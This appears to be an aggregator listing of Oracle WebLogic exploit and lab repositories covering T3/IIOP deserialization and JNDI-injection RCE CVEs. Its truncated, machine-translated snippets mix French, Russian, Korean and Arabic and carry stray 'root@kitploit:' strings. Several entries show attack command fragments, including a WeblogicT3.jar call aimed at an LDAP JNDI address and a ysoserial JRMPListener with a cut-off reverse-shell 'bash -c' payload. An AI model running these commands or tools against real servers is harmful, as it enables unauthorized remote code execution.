CVE-2024-21182

CVE-2024-21182 — Injection JNDI T3/IIOP Oracle WebLogic Server → Exécution de code à distance lab Un lab Docker autonome, en une commande, pour reproduire et valider la famille de vulnérabilités d'injection JNDI OpaqueReference d'Oracle WebLogic Server CVE-2024-21182, un contournement du correcti...

CVE_2020_2546

Twitter: @Hktalent3135773 1、Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2、exploit GIOP + send bind CVE-2020-2555、CVE-2019-2888、CVE-2019-2888 or others GIOP + send jta rmi or others...

T3-Technology-CPE-Advisories

T3 Technology CPE — Avis de sécurité Plusieurs vulnérabilités critiques découvertes dans les équipements CPE ONU/Routeur de T3 Technology déployés par TrueOnline Thaïlande. Vulnérabilités Identifiant CVE| Sévérité| Résumé ---|---|--- CVE-2026-35904| 4.3 Moyen| Activation Telnet non authentifiée v...

CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE CVE-2024-21182 - Injection JNDI dans Oracle WebLogic Server → RCE -orange 📋 Description CVE-2024-21182 est une vulnérabilité d'injection JNDI non authentifiée affectant le composant Core d'Oracle WebLogic Server. Elle permet à un...

CVE-2023-21839

CVE-2023-21839 Анализ Уязвимость возникает из-за того, что после привязки объекта через протоколы t3 или iiop при вызове методов lookup или list запускается метод getReferent привязанного объекта. Стек вызовов для протокола t3: root@kitploit: getObjectInstance:96, WLNamingManager...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POC à utiliser sur Internet POC de test utilisable sur le réseau externe python CVE-2020-2551.py HOST IP Tentative de modification du codebase pour le chargement de classes à distance échec python CVE-2020-TEST.py HOST IP Brève discussion sur la...

CVE-2019-2890

CVE-2019-2890 Эксплойт CVE-2019-2890 для WebLogic с T3...

cve-2020-2555

CVE-2020-2555 Main.java를 실행하면 현재 디렉토리에 payload.ser가 생성되며, 이 payload는 t3 프로토콜을 사용하여 대상 서버로 전송할 수 있습니다...

woodpecker-plugins

Использование woodpecker-plugins Скопируйте плагины в каталог woodpecker-framwork/plugin и запустите java -jar woodpecker-framework.1.3.3.jar из https://github.com/woodpecker-appstore weblogic-info проверка, открыт ли T3: root@kitploit: echo 't3...

CVE-2018-3191

Weblogic-CVE-2018-3191 – Vulnérabilité d’exécution de commandes à distance Environnement weblogic pour Docker 0x00 Introduction Le 17 octobre, heure de Pékin, la mise à jour critique de correctifs d’octobre CPU publiée par Oracle a corrigé une vulnérabilité critique d’exécution de code à distance...

WLT3Serial

WLT3Serial أداة استغلال إلغاء التسلسل Deserialization أصلية بلغة جافا لمستمعي T3 و T3S في WebLogic كما هو موضح هنا. تتطلب تبعيات طرف ثالث ysoserial و wlthint3client. المزايا/العيوب مقارنة بـ JavaUnserializeExploits weblogic.py و loubia المزايا: يتعامل مع اتصال T3/T3S بشكل أصلي لأغلب طرق الاستغلال...

CVE-2024-21006

CVE-2024-21006 CVE-2024-21006 Description Vulnérabilité dans le produit Oracle WebLogic Server d'Oracle Fusion Middleware composant : Core. Les versions prises en charge concernées sont 12.2.1.4.0 et 14.1.1.0.0. Une vulnérabilité facilement exploitable permet à un attaquant non authentifié ayant ...

POC_CVE-2020-2555

POCCVE-2020-2555 poc pour CVE-2020-2555 3 parties: Client & Server: pour construire l'objet et l'envoyer au serveur, déclencher la gadgetchain. Utilisez-le pour construire l'objet propriétaire. Attack: envoyer l'objet via le protocole T3 avec pwntools...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 обратная оболочка Локальный IP: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Локальное выполнение: java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

CVE-2022-21350

Pourquoi deux PoC L'un contient com.51pwn.hktalent.CreatJar.mainargs; est utilisé pour créer l'outil de génération de payload minimal après sa création, utilisez l'autre Lors de l'exécution de CVE-2022-21350powerBy51pwn.jar, l'erreur de construction du payload n'affecte pas son utilisation other...

CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP RCE: ExternalizableHelper.class из coherence.jar README Проект основан на https://github.com/Y4er/CVE-2020-2555 и weblogiccmd Тестировалось на 12.2.1.4.0 и jdk 1.8.0221 Ссылки 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2...

CVE-2017-10271

LAB 2 - CVE-2017-10271 : Analyse de la désérialisation XMLDecoder de WebLogic I. Analyse du système Analyse des journaux système Service détecté : Oracle WebLogic Server AdminServer appartenant à basedomain s'exécutant en mode développement. Port de connexion : 7001. Protocoles supportés : http,...

CVE-2020-14645

CVE-2020-14645 Méthode d'utilisation Commencez par utiliser NDI-Injection-Exploit pour écouter, puis générez une adresse ldap. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget et -RMI sont obligatoires, pour https vous pouvez utiliser le...

Weblogic_Vuln

Предисловие root@kitploit: В статье подробно проанализированы исторические уязвимости Weblogic с CVE-2015 по CVE-2019, а соответствующие POC собраны в WeblogicVuln. Здесь записаны заметки об изучении уязвимостей Java-десериализации. Приветствуются star и issue. WeblogicVuln root@kitploit: POC для...